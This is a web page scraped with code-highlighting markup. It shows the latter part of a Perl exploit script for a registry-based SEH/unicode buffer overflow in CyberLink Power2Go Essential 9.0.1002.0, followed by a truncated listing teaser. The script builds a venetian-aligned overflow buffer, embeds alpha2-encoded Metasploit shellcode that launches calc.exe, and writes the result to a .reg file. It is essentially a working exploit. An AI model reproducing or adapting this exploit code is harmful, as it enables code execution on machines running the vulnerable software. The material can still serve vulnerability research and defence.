class="perl plain">= </code><code class="perl variable">$venalign</code> <code class="perl plain">. </code><code class="perl string">"\x6e"</code><code class="perl plain">; </code><code class="perl comments"># venetian pad/align</code></div> <div class="line number55 index54 alt2"> <code class="perl variable">$venalign</code> <code class="perl plain">= </code><code class="perl variable">$venalign</code> <code class="perl plain">. </code><code class="perl string">"\xc3"</code><code class="perl plain">; </code><code class="perl comments"># ret</code></div> <div class="line number56 index55 alt1"> </div> <div class="line number57 index56 alt2"> <code class="perl keyword">my</code> <code class="perl variable">$nops</code> <code class="perl plain">= </code><code class="perl string">"\x71"</code> <code class="perl plain">x 236; </code><code class="perl comments"># some unicode friendly filler before the shellcode</code></div> <div class="line number58 index57 alt1"> </div> <div class="line number59 index58 alt2"> <code class="perl comments"># Calc.exe payload</code></div> <div class="line number60 index59 alt1"> <code class="perl comments"># msfpayload windows/exec CMD=calc.exe R</code></div> <div class="line number61 index60 alt2"> <code class="perl comments"># alpha2 unicode/uppercase</code></div> <div class="line number62 index61 alt1"> <code class="perl keyword">my</code> <code class="perl variable">$shell</code> <code class="perl plain">= </code><code class="perl string">"PPYAIAIAIAIAQATAXAZAPA3QADAZA"</code><code class="perl plain">.</code></div> <div class="line number63 index62 alt2"> <code class="perl string">"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"</code><code class="perl plain">.</code></div> <div class="line number64 index63 alt1"> <code class="perl string">"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"</code><code class="perl plain">.</code></div> <div class="line number65 index64 alt2"> <code class="perl string">"AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"</code><code class="perl plain">.</code></div> <div class="line number66 index65 alt1"> <code class="perl string">"22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"</code><code class="perl plain">.</code></div> <div class="line number67 index66 alt2"> <code class="perl string">"MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"</code><code class="perl plain">.</code></div> <div class="line number68 index67 alt1"> <code class="perl string">"Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"</code><code class="perl plain">.</code></div> <div class="line number69 index68 alt2"> <code class="perl string">"NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"</code><code class="perl plain">.</code></div> <div class="line number70 index69 alt1"> <code class="perl string">"R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"</code><code class="perl plain">.</code></div> <div class="line number71 index70 alt2"> <code class="perl string">"NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"</code><code class="perl plain">.</code></div> <div class="line number72 index71 alt1"> <code class="perl string">"89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"</code><code class="perl plain">.</code></div> <div class="line number73 index72 alt2"> <code class="perl string">"KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"</code><code class="perl plain">.</code></div> <div class="line number74 index73 alt1"> <code class="perl string">"QQ2LRCM0LJA"</code><code class="perl plain">;</code></div> <div class="line number75 index74 alt2"> </div> <div class="line number76 index75 alt1"> <code class="perl keyword">my</code> <code class="perl variable">$sploit</code> <code class="perl plain">= </code><code class="perl variable">$junk</code><code class="perl plain">.</code><code class="perl variable">$nseh</code><code class="perl plain">.</code><code class="perl variable">$seh</code><code class="perl plain">.</code><code class="perl variable">$venalign</code><code class="perl plain">.</code><code class="perl variable">$nops</code><code class="perl plain">.</code><code class="perl variable">$shell</code><code class="perl plain">; </code><code class="perl comments"># assemble the exploit portion of the buffer</code></div> <div class="line number77 index76 alt2"> <code class="perl keyword">my</code> <code class="perl variable">$fill</code> <code class="perl plain">= </code><code class="perl string">"\x71"</code> <code class="perl plain">x (</code><code class="perl variable">$buffsize</code> <code class="perl plain">- </code><code class="perl functions">length</code><code class="perl plain">(</code><code class="perl variable">$sploit</code><code class="perl plain">)); </code><code class="perl comments"># fill remainder of buffer with junk</code></div> <div class="line number78 index77 alt1"> <code class="perl keyword">my</code> <code class="perl variable">$buffer</code> <code class="perl plain">= </code><code class="perl variable">$sploit</code><code class="perl plain">.</code><code class="perl variable">$fill</code><code class="perl plain">; </code><code class="perl comments"># assemble the final buffer</code></div> <div class="line number79 index78 alt2"> </div> <div class="line number80 index79 alt1"> <code class="perl keyword">my</code> <code class="perl variable">$regfile</code> <code class="perl plain">= </code><code class="perl variable">$regfilestart</code> <code class="perl plain">. </code><code class="perl string">"hex: "</code> <code class="perl plain">. </code><code class="perl variable">$buffer</code> <code class="perl plain">. </code><code class="perl variable">$regfileend</code><code class="perl plain">; </code><code class="perl comments"># construct the reg file with hex payload to generate binary registry entry</code></div> <div class="line number81 index80 alt2"> <code class="perl keyword">my</code> <code class="perl variable">$regfile</code> <code class="perl plain">= </code><code class="perl variable">$regfilestart</code> <code class="perl plain">. </code><code class="perl string">"\""</code><code class="perl plain">. </code><code class="perl variable">$buffer</code> <code class="perl plain">. </code><code class="perl string">"\""</code><code class="perl plain">;</code></div> <div class="line number82 index81 alt1"> </div> <div class="line number83 index82 alt2"> <code class="perl comments"># write the exploit buffer to file</code></div> <div class="line number84 index83 alt1"> <code class="perl keyword">my</code> <code class="perl variable">$file</code> <code class="perl plain">= </code><code class="perl string">"cyberlinkp2g9_bof.reg"</code><code class="perl plain">;</code></div> <div class="line number85 index84 alt2"> <code class="perl functions">open</code><code class="perl plain">(FILE, </code><code class="perl string">">$file"</code><code class="perl plain">);</code></div> <div class="line number86 index85 alt1"> <code class="perl functions">print</code> <code class="perl plain">FILE </code><code class="perl variable">$regfile</code><code class="perl plain">;</code></div> <div class="line number87 index86 alt2"> <code class="perl functions">close</code><code class="perl plain">(FILE);</code></div> <div class="line number88 index87 alt1"> <code class="perl functions">print</code> <code class="perl string">"Exploit file ["</code> <code class="perl plain">. </code><code class="perl variable">$file</code> <code class="perl plain">. </code><code class="perl string">"] created\n"</code><code class="perl plain">;</code></div> <div class="line number89 index88 alt2"> <code class="perl functions">print</code> <code class="perl string">"Buffer size: "</code> <code class="perl plain">. </code><code class="perl functions">length</code><code class="perl plain">(</code><code class="perl variable">$buffer</code><code class="perl plain">) . </code><code class="perl string">"\n"</code><code class="perl plain">; </code></div> </div>

CyberLink Power2Go Essential 9.0.1002.0 - Registry SEH/Unicode Buffer Overflow

#!/usr/bin/perl # Exploit Title: CyberLink Power2Go Essential 9.0.1002.0 - Registry SEH/Unicode Buffer Overflow # Discovery date: ...

Read more »